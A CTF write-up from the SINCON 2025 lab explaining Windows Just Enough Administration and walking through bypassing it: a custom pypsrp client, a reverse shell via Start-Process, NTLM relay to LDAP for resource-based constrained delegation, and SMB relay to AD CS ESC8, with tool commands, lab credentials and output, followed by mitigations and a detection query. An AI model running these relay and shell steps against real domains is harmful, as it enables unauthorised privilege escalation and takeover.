Logo

View My GitHub Profile

Back
Author
Zavier Lee
Zavier Lee
Offensive Security Engineer

SINCON CTF 2025: Too Much Administration

This is the second, and final part of the SINCON CTF 2025 writeup series where I covered the more “challenging” parts of the CTF. I highly recommend reading the first part: SINCON 2025: All Too Relayxing as it provides a lot of necessary context for this writeup.

In this writeup, I’ll be covering the solve path for Flag 8 - which involved bypassing Just Enough Administration (JEA). For many participants, this was their first time encountering WinRM endpoints protected by JEA, and you’ll rarely see this in engagements aside from some hardened environments. However, JEA can be a double-edged sword; if not properly configured, it opens up opportunities for abuse and privilege escalation.

Introduction and Scenario

The current scenario is explained in more depth in the first part of the writeup, but to summarize, we have compromised TABULARIUM and SCRIPTORIUM. Additionally, we have access to a JESS\Doros_ARCHIVON user from a previous attack path. The next target is PORTICUS, which is also a Windows Server 2022 machine.

Additionally, a reverse port forward has been established on TABULARIUM on Port 445 to redirect all traffic to my machine on Port 445.

Enumerating WinRM

Using the JESS\Doros_ARCHIVON user, we can identify that we have access to the WinRM service on PORTICUS.

Failed Command Execution

However, attempting to use the -x option with nxc shows that no output is retrieved by the command.

Running the same command with --debug shows that the internal executor is throwing an error that Invoke-Expression is not found as an available commandlet.

Similarly, attempting to connect to the WinRM service using evil-winrm results in the same error:

These errors are occurring because the WinRM service on PORTICUS is configured with Just Enough Administration (JEA), which restricts the available commands and modules that can be executed by the user.

JEA, a TLDR

Just Enough Administration (JEA) is a hardening mechanism in Windows that allows administrators to delegate specific administrative tasks to users without granting them full administrative privileges. It does this by restricting the available commands and modules that can be executed by the user, effectively creating a limited PowerShell environment.

You can view the full documentation here, and I strongly recommend reading it to understand how JEA works.

According to the documentation, JEA is designed to:

  1. Reduce the number of administrators on your machines
  2. Limit what users run on your machines
  3. Better understand what your users are doing on your machines

If you’re more familiar with Linux, JEA is similar to the concept of sudo with restricted commands, where users can only execute specific commands as a privileged user.

Role Capabilities

In JEA sessions, the available commands and modules are defined in a “role capability” file, which is a PowerShell module that specifies the commands and modules that are available to the user. Role capability files are typically stored in the C:\Program Files\WindowsPowerShell\<ROLE>\RoleCapabilities directory, where <ROLE> is the name of the role.

This file defines the commands and modules that are available to the user, as well as any parameters that can be used with those commands. The following example allows the user to execute only the Restart-Computer and Get-NetIPAddress commandlets, these are lifted directly off the documentation:

VisibleCmdlets = @('Restart-Computer', 'Get-NetIPAddress')

The capability file can also have more fine-grained control over the parameters that can be used with each command.

VisibleCmdlets = @{
    Name       = 'Restart-Computer'
    Parameters = @{ Name = 'Name' }
}

And, additionally supports those pesky argument wildcards that sudo also supports:

VisibleCmdlets = @(
    @{
        Name       = 'Restart-Service'
        Parameters = @{ Name = 'Name'; ValidateSet = @('Dns', 'Spooler') }
    }
    @{
        Name       = 'Start-Website'
        Parameters = @{ Name = 'Name'; ValidatePattern = 'HR_*' }
    }
)

Registration Configuration

Using the above defined role capabilities, you can create configuration files (that can be applied to Session Configurations). An example of how you could create a configuration file for a role located in C:\Program Files\WindowsPowerShell\Modules\JEA_Test_Module\RoleCapabilities may look like this:

New-PSSessionConfigurationFile -Path "C:\JEA\Configuration.pssc" `
    -SessionType RestrictedRemoteServer `
    -RunAsVirtualAccount `
    -RoleDefinitions @{
        'DOMAIN\Restricted Administrators' = @{ RoleCapabilities = @('JEA_Test_Module') }
}

This configuration file can be used with the Register-PSSessionConfiguration cmdlet to register a new session configuration that uses the specified role capabilities.

Register-PSSessionConfiguration -Name "Test_JEA" `
    -Path "C:\JEA\Configuration.pssc" `

Subsequently, users part of the DOMAIN\Restricted Administrators group can connect to the JEA session using the -ConfigurationName parameter and execute commands defined in the role capabilities as an Administrator.

Enter-PSSession -ComputerName "PORTICUS" -ConfigurationName "Test_JEA"

RunAsVirtualAccount

The -RunAsVirtualAccount parameter in New-PSSessionConfigurationFile creates a virtual account that is used to run the JEA session. This virtual account is a local account that is created on the machine where the JEA session is running, this means that any remotely connected user will essentially have restricted local administrator privileges on the machine.

New-PSSessionConfigurationFile -Path "C:\JEA\Configuration.pssc" `
    -SessionType RestrictedRemoteServer `
    -RunAsVirtualAccount `
    -RoleDefinitions @{
        'DOMAIN\Restricted Administrators' = @{ RoleCapabilities = @('JEA_Test_Module') }
}

This flag can be omitted to run the JEA session as a specific user, but in most cases if you are considering JEA - you are probably using it specifically for this functionality.

ConfigurationName

In Windows, there are 4 default PowerShell session configurations that are registered by default:

PS C:\> Get-PSSessionConfiguration | ForEach-Object { $_.Name }
Microsoft.PowerShell
microsoft.powershell.workflow
microsoft.powershell32
microsoft.windows.servermanagerworkflows

The default configuration used is Microsoft.PowerShell, which is the standard PowerShell session configuration. This can be seen when you run the Enter-PSSession command without specifying a configuration name:

PS C:\> Enter-PSSession -ComputerName "localhost"
[localhost]: PS C:\> $PSSenderInfo.ConfigurationName
Microsoft.PowerShell

You can connect to endpoints using alternative session configurations by specifying the -ConfigurationName parameter in the Enter-PSSession command. For example, the microsoft.powershell32 configuration can be used to connect to a 32-bit PowerShell session:

PS C:\> Enter-PSSession -ComputerName "localhost" -ConfigurationName "microsoft.powershell32"
[localhost]: PS C:\> $PSSenderInfo.ConfigurationName
microsoft.powershell32

Similarly, if there is a custom session configuration registered (such as with JEA), you can connect to it by specifying the configuration name. However, attempting to run $PSSenderInfo.ConfigurationName will fail if the session configuration does not support it, as seen in the previous examples with JEA.

PS C:\> Enter-PSSession -ComputerName "localhost" -ConfigurationName "Test_JEA"
[localhost]: PS C:\> $PSSenderInfo.ConfigurationName
The term '$PSSenderInfo.ConfigurationName' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

The following commandlets are enabled by default, regardless of the session configuration.

[localhost]: PS> Get-Command

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Clear-Host
Function        Exit-PSSession
Function        Get-Command
Function        Get-FormatData
Function        Get-Help
Function        Measure-Object
Function        Out-Default
Function        Select-Object

Overwriting Defaults

In some situations, you may choose to overwrite the default microsoft.powershell configuration with your own custom configuration. This can be done by using the -Force parameter when registering the session configuration:

Register-PSSessionConfiguration -Name Microsoft.PowerShell -Path "C:\JEA\Configuration.pssc" -Force

After doing so, you will be able to connect to the WinRM endpoint without specifying a custom -ConfigurationName, as it will now use your custom configuration by default.

PS C:\Windows\system32> Enter-PSSession -ComputerName localhost
[localhost]: PS>Get-Command

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Clear-Host
Function        Exit-PSSession
Function        Get-Command
Function        Get-FormatData
Function        Get-Help
Function        Measure-Object
Function        Out-Default
Function        Select-Object

However, it is important to note that if you decide that overwriting the default configuration is your only option. You will also need to replace the other default configurations, such as microsoft.powershell.workflow, microsoft.powershell32, and microsoft.windows.servermanagerworkflows, as attackers can simply connect to these configurations instead and maintain full access to the system.

PS C:\> Enter-PSSession -ComputerName "localhost" -ConfigurationName "microsoft.powershell32"
[localhost]: PS C:\> Get-Command

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           Add-AppPackage                                     2.0.1.0    Appx
Alias           Add-AppPackageVolume                               2.0.1.0    Appx
Alias           Add-AppProvisionedPackage                          3.0        Dism
Alias           Add-ProvisionedAppPackage                          3.0        Dism
...

Connecting to JEA

Now that you’re familiar with JEA, it should be clear why we are unable to execute commands on the PORTICUS machine using nxc and evil-winrm.

Understanding the Errors

Under the hood, netexec uses the Client object from pypsrp to initialize a WinRM connection:

# nxc/protocols/winrm.py#L200
self.conn = Client(
    host=self.host,
    port=self.port,
    auth="ntlm",
    username=f"{self.domain}\\{self.username}",
    password=self.password,
    ssl=self.ssl,
    cert_validation=False,
)

self.check_if_admin()
self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")

The wsman protocol is initialized, which should have no issues as it has not yet attempted to utilize the WinRM service. However when the -x (execute) flag is specified, the Client->execute_cmd() or Client->execute_ps() methods are called, which will attempt to execute the command on the remote machine.

# nxc/protocols/winrm.py#L231
# slightly modified for better readability
def execute(self, payload=None, get_output=True, shell_type="cmd"):
    if shell_type == "cmd":
        result = self.conn.execute_cmd(payload, encoding=self.args.codec)
    else:
        result = self.conn.execute_ps(payload)

The Client->execute_cmd() method uses winrs to spawn a remote process, and seems to only work with local administrator privileges based on my testing.

# pypsrp/client.py#L174
def execute_cmd(
        self,
        command: str,
        encoding: str = "437",
        environment: typing.Optional[typing.Dict[str, str]] = None,
    ) -> typing.Tuple[str, str, int]:
    ...
        with WinRS(self.wsman, environment=environment) as shell:
            process = Process(shell, command)
            process.invoke()
            process.signal(SignalCode.CTRL_C)
    ...

And, the Client->execute_ps() starts a WinRM session, with the default microsoft.powershell configuration, if unspecified, and prepends Invoke-Expression -Command {...} to the command to be executed.

# pypsrp/client.py#L231
def execute_ps(
    self,
    script: str,
    configuration_name: str = DEFAULT_CONFIGURATION_NAME,
    environment: typing.Optional[typing.Dict[str, str]] = None,
) -> typing.Tuple[str, PSDataStreams, bool]:
    with RunspacePool(self.wsman, configuration_name=configuration_name) as pool:
        powershell = PowerShell(pool)
        ...
        powershell.add_cmdlet("Invoke-Expression").add_parameter("Command", script)
        powershell.add_cmdlet("Out-String").add_parameter("Stream")
        powershell.invoke()
    return "\n".join(powershell.output), powershell.streams, powershell.had_errors

The issue arises when connecting to endpoints that do not allow the Invoke-Expression commandlet to be executed, such as the one currently configured on PORTICUS.

And similarly, evil-winrm uses the winrm ruby gem under the hood to connect and execute commands on the remote machine.

# evil-winrm.rb#L323
require 'winrm'

def connection_initialization
...
    $conn = WinRM::Connection.new(
    endpoint: "http://#{$host}:#{$port}/#{$url}",
    user: $user,
    password: $password,
    no_ssl_peer_verification: true,
    user_agent: $user_agent
    )
...

And similarly, when the WinRM session is first initialized - evil-winrm creates the shell object and calls the $shell->run() method.

# evil-winrm.rb#L636
begin
    time = Time.now.to_i
    print_message('Establishing connection to remote endpoint', TYPE_INFO)
    $conn.shell(:powershell) do |shell|
...
    until command == 'exit' do
        pwd = shell.run('(get-location).path').output.strip
        if $colors_enabled
            command = Readline.readline( "#{colorize('*Evil-WinRM*', 'red')}#{colorize(' PS ', 'yellow')}#{pwd}> ", true)
        else
            command = Readline.readline("*Evil-WinRM* PS #{pwd}> ", true)
        end
        $logger&.info("*Evil-WinRM* PS #{pwd} > #{command}")
...

The shell->run() method will attempt to execute a command, but of course Invoke-Expression is prepended to the command body, which will fail with the same error as before.

# winrm/lib/winrm/wsmv/create_pipeline.rb#L45
...
    def command_body
    {
        "#{NS_WIN_SHELL}:Command" => 'Invoke-Expression',
        "#{NS_WIN_SHELL}:Arguments" => arguments
    }
    end
...

Using pypsrp Directly

Although the pypsrp exposes the execute_ps() method, you can simply import the underlying classes (WSMan, RunspacePool and PowerShell) to create your own pseudo-shell that doesn’t add any fluff.

from pypsrp.wsman import WSMan
from pypsrp.powershell import RunspacePool, PowerShell

wsman = WSMan( 
    server="PORTICUS.jess.kingdom",
    username="Doros_ARCHIVON",
    password="bO3n21E6rc", 
    ssl=False
)

with RunspacePool(wsman) as pool:
    ps = PowerShell(pool)
    ps.add_cmdlet("Get-Command")
    ps.invoke()
    print("---")

    for output in ps.output:
        print(output)
    
    if ps.had_errors:
        for error in ps.streams.error:
            print(error)
    
    print("---")

Running the above script will successfully connect to the PORTICUS machine and execute the Get-Command commandlet, returning the available commands in the JEA session.

┌──(kali㉿kali)-[~/sincon]
└─$ proxychains python3 jea.py   
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1081  ...  10.3.20.11:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1081  ...  10.3.20.11:5985  ...  OK
---
Clear-Host
Exit-PSSession
Get-Command
Get-FormatData
Get-Help
Measure-Object
Out-Default
Select-Object
Start-Process
---

Publicly Available Tools

There are a number of open-source tools that help with connecting to JEA-protected endpoints, such as evil-jea and minrm.

This blog post will use minrm as an example, which is a minimalistic WinRM client that I wrote out of spite after encountering JEA endpoints. The syntax is the same as evil-winrm.

Bypassing JEA

Now that we have a working JEA session, it’s good to know that Get-Command is always available, regardless of the session configuration. This allows us to enumerate the available commandlets in the JEA session.

[[email protected]] PS> Get-Command
Output:
Clear-Host
Exit-PSSession
Get-Command
Get-FormatData
Get-Help
Measure-Object
Out-Default
Select-Object
Start-Process

Method 1: Reverse Shell

The output shows that we have access to Start-Process, which allows us to start a new process on the remote machine. Using this, we can very simply execute a reverse shell by starting cmd.exe or powershell.exe. Note that the -Wait parameter is required to allow for the connection to be established before the command returns.

[[email protected]] PS> Start-Process -FilePath "cmd.exe" -ArgumentList "/c powershell -e ..." -Wait

And we can catch the reverse shell on our local machine using nc:

┌──(kali㉿kali)-[~/sincon]
└─$ nc -lnvp 445
listening on [any] 445 ...
connect to [127.0.1.1] from (UNKNOWN) [127.0.0.1] 35140

PS C:\Windows\system32> whoami
winrm virtual users\winrm va_33_jess_doros_archivon

We obtain a reverse shell as the temporary virtual account created by JEA, which has local administrator privileges on the PORTICUS machine.

PS C:\Windows\system32> whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators               Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group
                                     Unknown SID type S-1-5-94-0   Mandatory group, Enabled by default, Enabled group

We’ll see that there is an unknown group associated with the S-1-5-94-0 SID, according to this post: the SID belongs to Windows Remoting Virtual Users

It is trivial to escalate privileges from here, however - it is not normal for Windows Remoting Virtual Users to have an active session for extended periods of time, so this may raise some flags.

Method 2: NTLM Relay to LDAP via HTTP

Alternatively, if you can send requests using protocols that transmit credentials via NTLM (i.e. SMB, HTTP), you can relay authentication as the PORTICUS$ machine account, since the JEA session runs with local administrator privileges.

However, relaying SMB to LDAP is typically not possible as session signing is enabled on LDAP by default on all modern Active Directory deployments. Thankfully, as mentioned in the previous writeup, the HTTP protocol does not support signing, making it possible to relay NTLM authentication to LDAP via HTTP.

After relaying to LDAP, there are a number of things that we can do such as Configuring RBCD for an attacker-controlled computer account.

Reverse Port Forwarding

Firstly on TABULARIUM, we can set a reverse port forward to catch the HTTP authentication on Port 8080 (80 is currently being used for IIS):

[05/27 10:26:06] beacon> rportfwd 8080 0.0.0.0 8080
[05/27 10:26:06] [+] started reverse port forward on 8080 to 0.0.0.0:8080
[05/27 10:26:06] [*] Tasked beacon to forward port 8080 to 0.0.0.0:8080
[05/27 10:26:06] [+] host called home, sent: 10 bytes

Creating a Machine Account

We need to have a machine account to set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on, thankfully the domain has a MachineAccountQuota set to 10 (which is the default setting) - this allows us to create up to 10 machine accounts in the domain.

┌──(kali㉿kali)-[~/sincon]
└─$ nxc ldap PALACE-DC.jess.kingdom -u 'Doros_ARCHIVON' -p 'bO3n21E6rc' -M maq
LDAP        10.3.20.31      389    PALACE-DC        [*] Windows Server 2022 Build 20348 (name:PALACE-DC) (domain:jess.kingdom)
LDAP        10.3.20.31      389    PALACE-DC        [+] jess.kingdom\Doros_ARCHIVON:bO3n21E6rc 
MAQ         10.3.20.31      389    PALACE-DC        [*] Getting the MachineAccountQuota
MAQ         10.3.20.31      389    PALACE-DC        MachineAccountQuota: 10

We can now create a new machine account GATARI$ with the password P@ssw0rd:

┌──(kali㉿kali)-[~/sincon]
└─$ nxc smb PALACE-DC.jess.kingdom -u 'Doros_ARCHIVON' -p 'bO3n21E6rc' -M add-computer -o NAME='GATARI' PASSWORD='P@ssw0rd'  
SMB         10.3.20.31      445    PALACE-DC        [*] Windows Server 2022 Build 20348 x64 (name:PALACE-DC) (domain:jess.kingdom) (signing:True) (SMBv1:False)                                                                                                                                                         
SMB         10.3.20.31      445    PALACE-DC        [+] jess.kingdom\Doros_ARCHIVON:bO3n21E6rc 
ADD-COMP... 10.3.20.31      445    PALACE-DC        Successfully added the machine account: "GATARI$" with Password: "P@ssw0rd"

We can also verify that GATARI$ was created successfully by authenticating against the DC:

nxc smb PALACE-DC.jess.kingdom -u 'GATARI$' -p 'P@ssw0rd'                                                              
SMB         10.3.20.31      445    PALACE-DC        [*] Windows Server 2022 Build 20348 x64 (name:PALACE-DC) (domain:jess.kingdom) (signing:True) (SMBv1:False)                                                                                                                                                         
SMB         10.3.20.31      445    PALACE-DC        [+] jess.kingdom\GATARI$:P@ssw0rd

Starting Relay Listener

Since HTTP authentication will be coming from 8080, we’ll need to configure ntlmrelayx.py with the --http-port set to 8080. Additionally, the --delegate-access as well as --escalate-user flags are set to instruct the tool to add delegation rights to the victim machine account.

ntlmrelayx.py -t 'ldaps://PALACE-DC.jess.kingdom' -smb2support --http-port 8080 --delegate-access --escalate-user 'GATARI$'

Sending HTTP Authentication

We can use the Invoke-WebRequest commandlet with the -UseDefaultCredentials flag to send an HTTP request using the credentials of the current user to PORTICUS:8080, the “current user” in this case is the machine account of PORTICUS.

Receiving the Relay

Once the HTTP request is received, ntlmrelayx.py will relay the authentication to LDAP@PALACE-DC and modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the PORTICUS computer, to grant GATARI$ RBCD on them.

Resource-Based Constrained Delegation

Now that GATARI$ is able to impersonate all users on PORTICUS, we can obtain a service ticket to PORTICUS as the Administrator user and obtain clean access to the machine.

getST.py -impersonate 'Administrator' -spn 'cifs/PORTICUS.jess.kingdom' 'jess.kingdom'/'GATARI$':'P@ssw0rd'
Impacket v0.13.0.dev0+20250516.105908.a63c652 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

We can then use the ccache file to authenticate to PORTICUS, and list shares:

Method 3: SMB Relay to ESC8

With reference to the first writeup, we can also relay the SMB authentication to ESC8 using the same method as before. This is particularly useful if you don’t have access to a primitive to send HTTP authentication, such as Invoke-WebRequest.

Sending SMB Authentication

An SMB share path can be specified in the -FilePath parameter to send SMB authentication to the share:

[[email protected]] PS> Start-Process -FilePath "\\TABULARIUM.jess.kingdom\gatari$" -Wait

Any other commandlet can be used, such as -FilePath cmd.exe -ArgumentList net view ... to enumerate the shares on TABULARIUM - which also sends the SMB authentication to TABULARIUM but spawns a cmd.exe.

Relaying to ESC8

We can then relay the SMB authentication to ESC8 using ntlmrelayx.py:

ntlmrelayx.py -t 'http://palace-dc.jess.kingdom/certsrv/certfnsh.asp' -smb2support --adcs --template 'Machine' --no-http-server

Then, we can exchange the acquired certificate for the NTLM hash of PORTICUS:

From here, there are lots of ways to compromise fully PORTICUS.

ConfigurationName Pitfalls

In this lab, the JEA configured on PORTICUS was registered to overwrite all 4 default PowerShell session configurations.

Register-PSSessionConfiguration -Name microsoft.powershell.workflow -Path $psscPath -Force 
Register-PSSessionConfiguration -Name microsoft.powershell32 -Path $psscPath -Force 
Register-PSSessionConfiguration -Name microsoft.windows.servermanagerworkflows -Path $psscPath -Force 
Register-PSSessionConfiguration -Name Microsoft.PowerShell -Path $psscPath -Force 

Earlier, I mentioned that the Microsoft.PowerShell configuration is the default configuration used when connecting to a WinRM endpoint. However, it is also possible to connect to WinRM endpoints remotely using any of the other session configurations, such as microsoft.powershell32.

For example, the gatari user is a local administrator on PALACE-DC where they are able to connect to the WinRM endpoint using both microsoft.powershell and microsoft.powershell32 configurations.

The problem arises when the Microsoft.PowerShell configuration is overwritten with a custom JEA configuration, but the system administrator forgets to overwrite the other session configurations. This means that users can still connect to the WinRM endpoint using the other session configurations, which may not have the same restrictions as the JEA configuration.

Consider the same configuration file used to register the JEA session configuration on PORTICUS was applied on TABULARIUM but only on the Microsoft.PowerShell configuration.

Register-PSSessionConfiguration -Name Microsoft.PowerShell -Path $psscPath -Force 

Logically, the default connection to the WinRM endpoint will be protected by JEA.

However attempting to use any other configuration, completely bypasses the JEA restrictions. Although, since these configurations are not configured with -RunAsVirtualAccount, the user will retain their own privileges on the remote machine, instead of local administrator privileges.

Mitigations & Detections

While JEA does open up a lot of attack vectors, it is important to note that it is not inherently insecure. The security of JEA depends on the configuration and the role capabilities defined in the role capability files.

Aside from the security considerations mentioned by Microsoft, you may also find that implementing the following mitigations and detections can help to reduce the attack surface of JEA.

Regularly Review Role Capabilities

In this writeup, the Start-Process commandlet was allowed on the JEA endpoint. While this was an exaggeration to demonstrate the attack vector, it is important to note that seemingly harmless commandlets such as Get-Service can be used to send SMB authentication to other machines, which can then be chained to other attack vectors such as ESC8.

If you ever have a purpose for these dangerous commandlets, it’s highly recommended to restrict the parameters that can be used with them. For example, you can restrict the Start-Process commandlet to only allow the user to run an executable at C:\Projects\HealthCheck.exe.

@{
    Name       = 'Start-Process'
    Parameters = @{ Name = 'FilePath'; ValidateSet = @('C:\Projects\HealthCheck.exe') }
}

Monitoring Virtual Accounts

As mentioned earlier, these virtual accounts associated with JEA commands are not meant to be used for extended periods of time. It is also important to be conscious of what commands are allowed to be run by these virtual accounts.

For example, if the following role capability file is registered. It is highly unlikely for any process to be owned by winrm virtual users\winrm va_x_computername_username.

@{
    Name       = 'Start-Process'
    Parameters = @{ Name = 'FilePath'; ValidateSet = @('C:\Projects\HealthCheck.exe') }
}

Detection and monitoring capabilities can then be used to alert on any processes that are owned by these virtual accounts, as they are not meant to be used for extended periods of time.

event.code: "1" and winlog.user.name: "winrm va_*" and not process.name: ("HealthCheck.exe" or "wsmprovhost.exe")

Auditing

JEA also has built-in auditing capabilities that can be enabled to log all commands executed in a JEA session. This can be done by setting the TranscriptDirectory parameter in the session registration.

More information can be found: here

Conclusion

While JEA is a powerful tool for restricting administrative access, it can also lead to unintended consequences if not properly configured. For example, the JESS\Doros_ARCHIVON user is not a local administrator on PORTICUS, but the JEA session allows it to execute commands as a local administrator, which opened up the possibility for privilege escalation.

A lot of work went into building this lab, but it was worth it - many participants got hands-on experience with JEA for the first time, and that exposure could be useful during future engagements.